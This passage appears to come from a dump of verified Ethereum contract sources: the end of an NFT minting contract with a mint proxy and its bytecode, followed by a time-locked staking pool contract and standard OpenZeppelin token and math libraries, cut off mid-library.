public onlyOwner { _saleTime = time; } function getReserves() public onlyOwner { require(_didWeGetTheReserves == false, "UntamedElephants: Reserves taken already!"); for(uint x = 0; x < 55; x++){ _safeMint(msg.sender, totalSupply()); } _didWeGetTheReserves = true; } function walletOfOwner(address _owner) external view returns(uint256[] memory) { uint tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint i = 0; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function withdrawAll() public payable onlyOwner { require(payable(_msgSender()).send(address(this).balance)); } } contract UEProxy is Ownable { UE prevContract = UE(0x613E5136a22206837D12eF7A85f7de2825De1334); receive() external payable { } function mint(address _to, uint _count) public payable { uint256 amount = msg.value+msg.value; prevContract.mint{value:amount}(_to, _count); } function price(uint _count) public pure returns (uint256) { return 30000000000000000 * _count; } function withdrawAll() public payable onlyOwner { require(payable(_msgSender()).send(address(this).balance)); } }
0x6080604052600436106100595760003560e01c806326a49e371461006557806340c10f1914610098578063715018a6146100ad578063853828b6146100c25780638da5cb5b146100ca578063f2fde38b146100f257600080fd5b3661006057005b600080fd5b34801561007157600080fd5b50610085610080366004610386565b610112565b6040519081526020015b60405180910390f35b6100ab6100a636600461035c565b61012b565b005b3480156100b957600080fd5b506100ab6101a6565b6100ab6101e5565b3480156100d657600080fd5b506000546040516001600160a01b03909116815260200161008f565b3480156100fe57600080fd5b506100ab61010d36600461033a565b610233565b600061012582666a94d74f4300006103ec565b92915050565b600061013734806103d4565b6001546040516340c10f1960e01b81526001600160a01b038681166004830152602482018690529293509116906340c10f199083906044016000604051808303818588803b15801561018857600080fd5b505af115801561019c573d6000803e3d6000fd5b5050505050505050565b6000546001600160a01b031633146101d95760405162461bcd60e51b81526004016101d09061039f565b60405180910390fd5b6101e360006102ce565b565b6000546001600160a01b0316331461020f5760405162461bcd60e51b81526004016101d09061039f565b60405133904780156108fc02916000818181858888f193505050506101e357600080fd5b6000546001600160a01b0316331461025d5760405162461bcd60e51b81526004016101d09061039f565b6001600160a01b0381166102c25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101d0565b6102cb816102ce565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461033557600080fd5b919050565b60006020828403121561034c57600080fd5b6103558261031e565b9392505050565b6000806040838503121561036f57600080fd5b6103788361031e565b946020939093013593505050565b60006020828403121561039857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156103e7576103e761040b565b500190565b60008160001904831182151516156104065761040661040b565b500290565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220660a45c9b2e6304da3437fed3faafff685e0fb48c28431f9d4416452056b6ea364736f6c63430008060033
[ 5 ]
0xf202abD5c37a21994ECC90002873cECC5F69E80F
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./TimeLockPool.sol"; contract TimeLockNonTransferablePool is TimeLockPool { constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration, uint256 _maxBonus, uint256 _maxLockDuration ) TimeLockPool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration, _maxBonus, _maxLockDuration) { } // disable transfers function _transfer(address _from, address _to, uint256 _amount) internal override { revert("NON_TRANSFERABLE"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./base/BasePool.sol"; import "./interfaces/ITimeLockPool.sol"; contract TimeLockPool is BasePool, ITimeLockPool { using Math for uint256; using SafeERC20 for IERC20; uint256 public immutable maxBonus; uint256 public immutable maxLockDuration; uint256 public constant MIN_LOCK_DURATION = 10 minutes; uint256 public constant MAX_LOCK_DURATION = 36500 days; mapping(address => Deposit[]) public depositsOf; struct Deposit { uint256 amount; uint64 start; uint64 end; } constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration, uint256 _maxBonus, uint256 _maxLockDuration ) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) { require(_maxLockDuration <= MAX_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be less than or equal to maximum lock duration"); require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration"); maxBonus = _maxBonus; maxLockDuration = _maxLockDuration; } event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from); event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount); function deposit(uint256 _amount, uint256 _duration, address _receiver) external override nonReentrant { require(_receiver != address(0), "TimeLockPool.deposit: receiver cannot be zero address"); require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0"); // Don't allow locking > maxLockDuration uint256 duration = _duration.min(maxLockDuration); // Enforce min lockup duration to prevent flash loan or MEV transaction ordering duration = duration.max(MIN_LOCK_DURATION); depositToken.safeTransferFrom(_msgSender(), address(this), _amount); depositsOf[_receiver].push(Deposit({ amount: _amount, start: uint64(block.timestamp), end: uint64(block.timestamp) + uint64(duration) })); uint256 mintAmount = _amount * getMultiplier(duration) / 1e18; _mint(_receiver, mintAmount); emit Deposited(_amount, duration, _receiver, _msgSender()); } function withdraw(uint256 _depositId, address _receiver) external nonReentrant { require(_receiver != address(0), "TimeLockPool.withdraw: receiver cannot be zero address"); require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist"); Deposit memory userDeposit = depositsOf[_msgSender()][_depositId]; require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon"); // No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18; // remove Deposit depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1]; depositsOf[_msgSender()].pop(); // burn pool shares _burn(_msgSender(), shareAmount); // return tokens depositToken.safeTransfer(_receiver, userDeposit.amount); emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount); } function getMultiplier(uint256 _lockDuration) public view returns(uint256) { return 1e18 + (maxBonus * _lockDuration / maxLockDuration); } function getTotalDeposit(address _account) public view returns(uint256) { uint256 total; for(uint256 i = 0; i < depositsOf[_account].length; i++) { total += depositsOf[_account][i].amount; } return total; } function getDepositsOf(address _account) public view returns(Deposit[] memory) { return depositsOf[_account]; } function getDepositsOfLength(address _account) public view returns(uint256) { return depositsOf[_account].length; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../interfaces/IBasePool.sol"; import "../interfaces/ITimeLockPool.sol"; import "./AbstractRewards.sol"; import "./TokenSaver.sol"; abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver, ReentrancyGuard { using SafeERC20 for IERC20; using SafeCast for uint256; using SafeCast for int256; IERC20 public immutable depositToken; IERC20 public immutable rewardToken; ITimeLockPool public immutable escrowPool; uint256 public immutable escrowPortion; // how much is escrowed 1e18 == 100% uint256 public immutable escrowDuration; // escrow duration in seconds event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount); constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration ) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) { require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%"); require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set"); depositToken = IERC20(_depositToken); rewardToken = IERC20(_rewardToken); escrowPool = ITimeLockPool(_escrowPool); escrowPortion = _escrowPortion; escrowDuration = _escrowDuration; if(_rewardToken != address(0) && _escrowPool != address(0)) { IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max); } } function _mint(address _account, uint256 _amount) internal virtual override { super._mint(_account, _amount); _correctPoints(_account, -(_amount.toInt256())); } function _burn(address _account, uint256 _amount) internal virtual override { super._burn(_account, _amount); _correctPoints(_account, _amount.toInt256()); } function _transfer(address _from, address _to, uint256 _value) internal virtual override { super._transfer(_from, _to, _value); _correctPointsForTransfer(_from, _to, _value); } function distributeRewards(uint256 _amount) external override nonReentrant { rewardToken.safeTransferFrom(_msgSender(), address(this), _amount); _distributeRewards(_amount); } function claimRewards(address _receiver) external { uint256 rewardAmount = _prepareCollect(_msgSender()); uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18; uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount; if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) { escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver); } // ignore dust if(nonEscrowedRewardAmount > 1) { rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount); } emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface ITimeLockPool { function deposit(uint256 _amount, uint256 _duration, address _receiver) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-ERC20Permit.sol"; import "../../../utils/math/Math.sol"; import "../../../utils/math/SafeCast.sol"; import "../../../utils/cryptography/ECDSA.sol"; /** * @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's, * and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1. * * NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module. * * This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either * by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting * power can be queried through the public accessors {getVotes} and {getPastVotes}. * * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked. * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this * will significantly increase the base gas cost of transfers. * * _Available since v4.2._ */ abstract contract ERC20Votes is ERC20Permit { struct Checkpoint { uint32 fromBlock; uint224 votes; } bytes32 private constant _DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping(address => address) private _delegates; mapping(address => Checkpoint[]) private _checkpoints; Checkpoint[] private _totalSupplyCheckpoints; /** * @dev Emitted when an account changes their delegate. */ event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /** * @dev Emitted when a token transfer or delegate change results in changes to an account's voting power. */ event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @dev Get the `pos`-th checkpoint for `account`. */ function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) { return _checkpoints[account][pos]; } /** * @dev Get number of checkpoints for `account`. */ function numCheckpoints(address account) public view virtual returns (uint32) { return SafeCast.toUint32(_checkpoints[account].length); } /** * @dev Get the address `account` is currently delegating to. */ function delegates(address account) public view virtual returns (address) { return _delegates[account]; } /** * @dev Gets the current votes balance for `account` */ function getVotes(address account) public view returns (uint256) { uint256 pos = _checkpoints[account].length; return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes; } /** * @dev Retrieve the number of votes for `account` at the end of `blockNumber`. * * Requirements: * * - `blockNumber` must have been already mined */ function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_checkpoints[account], blockNumber); } /** * @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances. * It is but NOT the sum of all the delegated votes! * * Requirements: * * - `blockNumber` must have been already mined */ function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "ERC20Votes: block not yet mined"); return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber); } /** * @dev Lookup a value in a list of (sorted) checkpoints. */ function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) { // We run a binary search to look for the earliest checkpoint taken after `blockNumber`. // // During the loop, the index of the wanted checkpoint remains in the range [low-1, high). // With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant. // - If the middle checkpoint is after `blockNumber`, we look in [low, mid) // - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high) // Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not // out of bounds (in which case we're looking too far in the past and the result is 0). // Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is // past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out // the same. uint256 high = ckpts.length; uint256 low = 0; while (low < high) { uint256 mid = Math.average(low, high); if (ckpts[mid].fromBlock > blockNumber) { high = mid; } else { low = mid + 1; } } return high == 0 ? 0 : ckpts[high - 1].votes; } /** * @dev Delegate votes from the sender to `delegatee`. */ function delegate(address delegatee) public virtual { return _delegate(_msgSender(), delegatee); } /** * @dev Delegates votes from signer to `delegatee` */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public virtual { require(block.timestamp <= expiry, "ERC20Votes: signature expired"); address signer = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))), v, r, s ); require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce"); return _delegate(signer, delegatee); } /** * @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1). */ function _maxSupply() internal view virtual returns (uint224) { return type(uint224).max; } /** * @dev Snapshots the totalSupply after it has been increased. */ function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes"); _writeCheckpoint(_totalSupplyCheckpoints, _add, amount); } /** * @dev Snapshots the totalSupply after it has been decreased. */ function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount); } /** * @dev Move voting power when tokens are transferred. * * Emits a {DelegateVotesChanged} event. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); _moveVotingPower(delegates(from), delegates(to), amount); } /** * @dev Change delegation for `delegator` to `delegatee`. * * Emits events {DelegateChanged} and {DelegateVotesChanged}. */ function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveVotingPower(currentDelegate, delegatee, delegatorBalance); } function _moveVotingPower( address src, address dst, uint256 amount ) private { if (src != dst && amount > 0) { if (src != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount); emit DelegateVotesChanged(src, oldWeight, newWeight); } if (dst != address(0)) { (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount); emit DelegateVotesChanged(dst, oldWeight, newWeight); } } } function _writeCheckpoint( Checkpoint[] storage ckpts, function(uint256, uint256) view returns (uint256) op, uint256 delta ) private returns (uint256 oldWeight, uint256 newWeight) { uint256 pos = ckpts.length; oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes; newWeight = op(oldWeight, delta); if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) { ckpts[pos - 1].votes = SafeCast.toUint224(newWeight); } else { ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)})); } } function _add(uint256 a, uint256 b) private pure returns (uint256) { return a + b; } function _subtract(uint256 a, uint256 b) private pure returns (uint256) { return a - b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * 